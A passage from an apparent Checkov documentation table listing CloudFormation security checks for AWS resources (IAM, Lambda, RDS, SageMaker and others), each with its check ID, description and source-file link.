AWS::Glue::SecurityConfiguration                                 | Ensure Glue Security Configuration Encryption is enabled                                                                                                                                                 | Cloudformation | [GlueSecurityConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfiguration.py)                                                             |\n|   91 | CKV_AWS_100 | resource | AWS::EKS::Nodegroup                                              | Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0                                                                                                                               | Cloudformation | [EKSNodeGroupRemoteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EKSNodeGroupRemoteAccess.py)                                                               |\n|   92 | CKV_AWS_101 | resource | AWS::Neptune::DBCluster                                          | Ensure Neptune logging is enabled                                                                                                                                                                        | Cloudformation | [NeptuneClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterLogging.py)                                                                     |\n|   93 | CKV_AWS_103 | resource | AWS::ElasticLoadBalancingV2::Listener                            | Ensure that Load Balancer Listener is using at least TLS v1.2                                                                                                                                            | Cloudformation | [ALBListenerTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBListenerTLS12.py)                                                                               |\n|   94 | CKV_AWS_104 | resource | AWS::DocDB::DBClusterParameterGroup                              | Ensure DocumentDB has audit logs enabled                                                                                                                                                                 | Cloudformation | [DocDBAuditLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBAuditLogs.py)                                                                                   |\n|   95 | CKV_AWS_105 | resource | AWS::Redshift::ClusterParameterGroup                             | Ensure Redshift uses SSL                                                                                                                                                                                 | Cloudformation | [RedShiftSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedShiftSSL.py)                                                                                         |\n|   96 | CKV_AWS_107 | resource | AWS::IAM::Group                                                  | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                   |\n|   97 | CKV_AWS_107 | resource | AWS::IAM::ManagedPolicy                                          | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                   |\n|   98 | CKV_AWS_107 | resource | AWS::IAM::Policy                                                 | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                   |\n|   99 | CKV_AWS_107 | resource | AWS::IAM::Role                                                   | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                   |\n|  100 | CKV_AWS_107 | resource | AWS::IAM::User                                                   | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                   |\n|  101 | CKV_AWS_108 | resource | AWS::IAM::Group                                                  | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                         |\n|  102 | CKV_AWS_108 | resource | AWS::IAM::ManagedPolicy                                          | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                         |\n|  103 | CKV_AWS_108 | resource | AWS::IAM::Policy                                                 | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                         |\n|  104 | CKV_AWS_108 | resource | AWS::IAM::Role                                                   | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                         |\n|  105 | CKV_AWS_108 | resource | AWS::IAM::User                                                   | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                         |\n|  106 | CKV_AWS_109 | resource | AWS::IAM::Group                                                  | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                               |\n|  107 | CKV_AWS_109 | resource | AWS::IAM::ManagedPolicy                                          | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                               |\n|  108 | CKV_AWS_109 | resource | AWS::IAM::Policy                                                 | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                               |\n|  109 | CKV_AWS_109 | resource | AWS::IAM::Role                                                   | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                               |\n|  110 | CKV_AWS_109 | resource | AWS::IAM::User                                                   | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                               |\n|  111 | CKV_AWS_110 | resource | AWS::IAM::Group                                                  | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                   |\n|  112 | CKV_AWS_110 | resource | AWS::IAM::ManagedPolicy                                          | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                   |\n|  113 | CKV_AWS_110 | resource | AWS::IAM::Policy                                                 | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                   |\n|  114 | CKV_AWS_110 | resource | AWS::IAM::Role                                                   | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                   |\n|  115 | CKV_AWS_110 | resource | AWS::IAM::User                                                   | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                   |\n|  116 | CKV_AWS_111 | resource | AWS::IAM::Group                                                  | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                   |\n|  117 | CKV_AWS_111 | resource | AWS::IAM::ManagedPolicy                                          | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                   |\n|  118 | CKV_AWS_111 | resource | AWS::IAM::Policy                                                 | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                   |\n|  119 | CKV_AWS_111 | resource | AWS::IAM::Role                                                   | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                   |\n|  120 | CKV_AWS_111 | resource | AWS::IAM::User                                                   | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                   |\n|  121 | CKV_AWS_115 | resource | AWS::Lambda::Function                                            | Ensure that AWS Lambda function is configured for function-level concurrent execution limit                                                                                                              | Cloudformation | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py)                         |\n|  122 | CKV_AWS_115 | resource | AWS::Serverless::Function                                        | Ensure that AWS Lambda function is configured for function-level concurrent execution limit                                                                                                              | Cloudformation | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py)                         |\n|  123 | CKV_AWS_116 | resource | AWS::Lambda::Function                                            | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)                                                                                                                               | Cloudformation | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py)                                                                         |\n|  124 | CKV_AWS_116 | resource | AWS::Serverless::Function                                        | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)                                                                                                                               | Cloudformation | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py)                                                                         |\n|  125 | CKV_AWS_117 | resource | AWS::Lambda::Function                                            | Ensure that AWS Lambda function is configured inside a VPC                                                                                                                                               | Cloudformation | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaInVPC.py)                                                                                         |\n|  126 | CKV_AWS_117 | resource | AWS::Serverless::Function                                        | Ensure that AWS Lambda function is configured inside a VPC                                                                                                                                               | Cloudformation | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaInVPC.py)                                                                                         |\n|  127 | CKV_AWS_118 | resource | AWS::RDS::DBInstance                                             | Ensure that enhanced monitoring is enabled for Amazon RDS instances                                                                                                                                      | Cloudformation | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSEnhancedMonitorEnabled.py)                                                             |\n|  128 | CKV_AWS_119 | resource | AWS::DynamoDB::Table                                             | Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK                                                                                                                                    | Cloudformation | [DynamoDBTablesEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamoDBTablesEncrypted.py)                                                                 |\n|  129 | CKV_AWS_120 | resource | AWS::ApiGateway::Stage                                           | Ensure API Gateway caching is enabled                                                                                                                                                                    | Cloudformation | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py)                                                                     |\n|  130 | CKV_AWS_120 | resource | AWS::Serverless::Api                                             | Ensure API Gateway caching is enabled                                                                                                                                                                    | Cloudformation | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py)                                                                     |\n|  131 | CKV_AWS_123 | resource | AWS::EC2::VPCEndpointService                                     | Ensure that VPC Endpoint Service is configured for Manual Acceptance                                                                                                                                     | Cloudformation | [VPCEndpointAcceptanceConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/VPCEndpointAcceptanceConfigured.py)                                                 |\n|  132 | CKV_AWS_131 | resource | AWS::ElasticLoadBalancingV2::LoadBalancer                        | Ensure that ALB drops HTTP headers                                                                                                                                                                       | Cloudformation | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBDropHttpHeaders.py)                                                                           |\n|  133 | CKV_AWS_136 | resource | AWS::ECR::Repository                                             | Ensure that ECR repositories are encrypted using KMS                                                                                                                                                     | Cloudformation | [ECRRepositoryEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRRepositoryEncrypted.py)                                                                   |\n|  134 | CKV_AWS_149 | resource | AWS::SecretsManager::Secret                                      | Ensure that Secrets Manager secret is encrypted using KMS CMK                                                                                                                                            | Cloudformation | [SecretManagerSecretEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecretManagerSecretEncrypted.py)                                                       |\n|  135 | CKV_AWS_154 | resource | AWS::Redshift::Cluster                                           | Ensure Redshift is not deployed outside of a VPC                                                                                                                                                         | Cloudformation | [RedshiftInEc2ClassicMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftInEc2ClassicMode.py)                                                               |\n|  136 | CKV_AWS_155 | resource | AWS::WorkSpaces::Workspace                                       | Ensure that Workspace user volumes are encrypted                                                                                                                                                         | Cloudformation | [WorkspaceUserVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WorkspaceUserVolumeEncrypted.py)                                                       |\n|  137 | CKV_AWS_156 | resource | AWS::WorkSpaces::Workspace                                       | Ensure that Workspace root volumes are encrypted                                                                                                                                                         | Cloudformation | [WorkspaceRootVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WorkspaceRootVolumeEncrypted.py)                                                       |\n|  138 | CKV_AWS_157 | resource | AWS::RDS::DBInstance                                             | Ensure that RDS instances have Multi-AZ enabled                                                                                                                                                          | Cloudformation | [RDSMultiAZEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSMultiAZEnabled.py)                                                                             |\n|  139 | CKV_AWS_158 | resource | AWS::Logs::LogGroup                                              | Ensure that CloudWatch Log Group is encrypted by KMS                                                                                                                                                     | Cloudformation | [CloudWatchLogGroupKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupKMSKey.py)                                                               |\n|  140 | CKV_AWS_160 | resource | AWS::Timestream::Database                                        | Ensure that Timestream database is encrypted with KMS CMK                                                                                                                                                | Cloudformation | [TimestreamDatabaseKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/TimestreamDatabaseKMSKey.py)                                                               |\n|  141 | CKV_AWS_161 | resource | AWS::RDS::DBInstance                                             | Ensure RDS database has IAM authentication enabled                                                                                                                                                       | Cloudformation | [RDSIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSIAMAuthentication.py)                                                                       |\n|  142 | CKV_AWS_162 | resource | AWS::RDS::DBCluster                                              | Ensure RDS cluster has IAM authentication enabled                                                                                                                                                        | Cloudformation | [RDSClusterIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSClusterIAMAuthentication.py)                                                         |\n|  143 | CKV_AWS_163 | resource | AWS::ECR::Repository                                             | Ensure ECR image scanning on push is enabled                                                                                                                                                             | Cloudformation | [ECRImageScanning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRImageScanning.py)                                                                               |\n|  144 | CKV_AWS_164 | resource | AWS::Transfer::Server                                            | Ensure Transfer Server is not exposed publicly.                                                                                                                                                          | Cloudformation | [TransferServerIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/TransferServerIsPublic.py)                                                                   |\n|  145 | CKV_AWS_165 | resource | AWS::DynamoDB::GlobalTable                                       | Ensure DynamoDB global table point in time recovery (backup) is enabled                                                                                                                                  | Cloudformation | [DynamodbGlobalTableRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamodbGlobalTableRecovery.py)                                                         |\n|  146 | CKV_AWS_166 | resource | AWS::Backup::BackupVault                                         | Ensure Backup Vault is encrypted at rest using KMS CMK                                                                                                                                                   | Cloudformation | [BackupVaultEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/BackupVaultEncrypted.py)                                                                       |\n|  147 | CKV_AWS_170 | resource | AWS::QLDB::Ledger                                                | Ensure QLDB ledger permissions mode is set to STANDARD                                                                                                                                                   | Cloudformation | [QLDBLedgerPermissionsMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/QLDBLedgerPermissionsMode.py)                                                             |\n|  148 | CKV_AWS_172 | resource | AWS::QLDB::Ledger                                                | Ensure QLDB ledger has deletion protection enabled                                                                                                                                                       | Cloudformation | [QLDBLedgerDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/QLDBLedgerDeletionProtection.py)                                                       |\n|  149 | CKV_AWS_173 | resource | AWS::Lambda::Function                                            | Check encryption settings for Lambda environment variable                                                                                                                                                | Cloudformation | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py)                                         |\n|  150 | CKV_AWS_173 | resource | AWS::Serverless::Function                                        | Check encryption settings for Lambda environment variable                                                                                                                                                | Cloudformation | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py)                                         |\n|  151 | CKV_AWS_174 | resource | AWS::CloudFront::Distribution                                    | Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher                                                                                                                            | Cloudformation | [CloudFrontTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudFrontTLS12.py)                                                                                 |\n|  152 | CKV_AWS_187 | resource | AWS::SageMaker::Domain                                           | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)                                                                                                    | Cloudformation | [SagemakerNotebookEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py)                                             |\n|  153 | CKV_AWS_187 | resource | AWS::SageMaker::NotebookInstance                                 | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)                                                                                                    | Cloudformation | [SagemakerNotebookEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py)                                             |\n|  154 | CKV_AWS_192 | resource | AWS::WAFv2::WebACL                                               | Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                                          | Cloudformation | [WAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WAFACLCVE202144228.py)                                                                           |\n|  155 | CKV_AWS_193 | resource | AWS::AppSync::GraphQLApi                                         | Ensure AppSync has Logging enabled                                                                                                                                                                       | Cloudformation | [AppSyncLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AppSyncLogging.py)                                                                                   |\n|  156 | CKV_AWS_194 | resource | AWS::AppSync::GraphQLApi                                         | Ensure AppSync has Field-Level logs enabled                                                                                                                                                              | Cloudformation | [AppSyncFieldLevelLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AppSyncFieldLevelLogs.py)                                                                     |\n|  157 | CKV_AWS_195 | resource | AWS::Glue::Crawler                                               | Ensure Glue component has a security configuration associated                                                                                                                                            | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                               |\n|  158 | CKV_AWS_195 | resource | AWS::Glue::DevEndpoint                                           | Ensure Glue component has a security configuration associated                                                                                                                                            | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                               |\n|  159 | CKV_AWS_195 | resource | AWS::Glue::Job                                                   | Ensure Glue component has a security configuration associated                                                                                                                                            | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                               |\n|  160 | CKV_AWS_197 | resource | AWS::AmazonMQ::Broker                                            | Ensure MQ Broker Audit logging is enabled                                                                                                                                                                | Cloudformation | [MQBrokerAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MQBrokerAuditLogging.py)                                                                       |\n|  161 | CKV_AWS_258 | resource | AWS::Lambda::Url                                                 | Ensure that Lambda function URLs AuthType is not None                                                                                                                                                    | Cloudformation | [LambdaFunctionURLAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionURLAuth.py)                                                                     |\n|  162 | CKV_AWS_260 | resource | AWS::EC2::SecurityGroup                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80                                                                                                                                        | Cloudformation | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py)                                           |\n|  163 | CKV_AWS_260 | resource | AWS::EC2::SecurityGroupIngress                                   | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80                                                                                                                                        | Cloudformation | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py)                                           |\n|  164 | CKV_AWS_291 | resource | AWS::MSK::Cluster                                                | Ensure MSK nodes are private                                                                                                                                                                             | Cloudformation | [MSKClusterNodesArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterNodesArePrivate.py)                                                             |\n|  165 | CKV_AWS_317 | resource | AWS::Elasticsearch::Domain                                       | Ensure Elasticsearch Domain Audit Logging is enabled                                                                                                                                                     | Cloudformation | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py)                                                 |\n|  166 | CKV_AWS_317 | resource | AWS::OpenSearchService::Domain                                   | Ensure Elasticsearch Domain Audit Logging is enabled                                                                                                                                                     | Cloudformation | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py)                                                 |\n|  167 | CKV_AWS_360 | resource | AWS::DocDB::DBCluster                                            | Ensure DocumentDB has an adequate backup retention period                                                                                                                                                | Cloudformation | [DocDBBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBBackupRetention.py)                                                                       |\n|  168 | CKV_AWS_361 | resource | AWS::Neptune::DBCluster                                          | Ensure that Neptune DB cluster has automated backups enabled with adequate retention                                                                                                                     | Cloudformation | [NeptuneClusterBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterBackupRetention.py)                                                     |\n|  169 | CKV_AWS_363 | resource | AWS::Lambda::Function                                            | Ensure Lambda Runtime is not deprecated                                                                                                                                                                  | Cloudformation | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py)                                                                 |\n|  170 | CKV_AWS_363 | resource | AWS::Serverless::Function                                        | Ensure Lambda Runtime is not deprecated                                                                                                                                                                  | Cloudformation | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py)                                                                 |\n|  171 | CKV_AWS_364 | resource | AWS::Lambda::Permission                                          | Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount                                                                                          | Cloudformation | [LambdaServicePermission.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaServicePermission.py)                                                                 |\n|  172 | CKV_AWS_366 | resource | AWS::Cognito::IdentityPool                                       | Ensure AWS Cognito identity pool does not allow unauthenticated guest access                                                                                                                             | Cloudformation | [CognitoUnauthenticatedIdentities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CognitoUnauthenticatedIdentities.py)                                               |\n|  173 | CKV_AWS_367 | resource | AWS::SageMaker::DataQualityJobDefinition                         | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts                                                                                                                             | Cloudformation | [SagemakerDataQualityJobDefinitionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py)                         |\n|  174 | CKV_AWS_368 | resource | AWS::SageMaker::DataQualityJobDefinition                         | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume                                                                                                             | Cloudformation | [SagemakerDataQualityJobDefinitionVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py)             |\n|  175 | CKV_AWS_369 | resource | AWS::SageMaker::DataQualityJobDefinition                         | Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs                                                                                          | Cloudformation | [SagemakerDataQualityJobDefinitionTrafficEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py)           |\n|  176 | CKV_AWS_370 | resource | AWS::SageMaker::Model                                            | Ensure Amazon SageMaker model uses network isolation                                                                                                                                                     | Cloudformation | [SagemakerModelWithNetworkIsolation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerModelWithNetworkIsolation.py)                                           |\n|  177 | CKV_AWS_371 | resource | AWS::SageMaker::NotebookInstance                                 | Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2                                                                                                                                         | Cloudformation | [SagemakerNotebookInstanceAllowsIMDSv2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py)                                     |\n|  178 | CKV_AWS_373 | resource | AWS::Bedrock::Agent                                              | Ensure Bedrock Agent is encrypted with a CMK                                                                                                                                                             | Cloudformation | [BedrockAgentEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/BedrockAgentEncrypted.py)                                                                     |\n|  179 | CKV_AWS_384 | resource | AWS::SSM::Parameter                                              | Ensure no hard-coded secrets exist in Parameter Store values                                                                                                                                             | Cloudformation | [ParameterStoreCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ParameterStoreCredentials.py)                                                             |\n|  180 | CKV2_AWS_33 | resource | AWS::AppSync::GraphQLApi                                         | Ensure AppSync is protected by WAF                                                                                                                                                                       | Cloudformation | [AppSyncProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/AppSyncProtectedByWAF.yaml)                                                                 |\n|  181 | CKV2_AWS_68 | resource | AWS::IAM::Role                                                   | Ensure SageMaker notebook instance IAM policy is not overly permissive                                                                                                                                   | Cloudformation | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml)               |\n|  182 | CKV2_AWS_68 | resource | AWS::SageMaker::NotebookInstance                                 | Ensure SageMaker notebook instance IAM policy is not overly permissive                                                                                                                                   | Cloudformation | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml)               |\n|  183 | CKV2_AWS_69 | resource | AWS::RDS::DBInstance                                             | Ensure AWS RDS database instance configured with encryption in transit                                                                                                                                   | Cloudformation | 